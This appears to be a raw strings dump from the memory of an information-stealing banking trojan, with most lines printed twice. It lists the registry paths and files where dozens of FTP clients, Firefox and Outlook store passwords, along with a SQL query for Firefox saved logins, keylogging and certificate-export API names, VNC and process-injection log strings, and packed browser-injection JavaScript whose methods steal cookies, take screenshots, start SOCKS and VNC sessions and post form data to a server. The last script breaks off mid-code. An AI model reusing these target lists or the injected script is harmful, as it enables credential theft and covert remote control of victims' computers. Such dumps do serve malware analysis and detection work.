Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

.pdata

.pdata

@.reloc

@.reloc

CRYPT32.dll

CRYPT32.dll

[%s - X64 EQ PID: %u TID: %u]

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

[PONY] Fail inject to process: %u

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

Explorer.EXE_880_rwx_01EF0000_0007B000:

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j 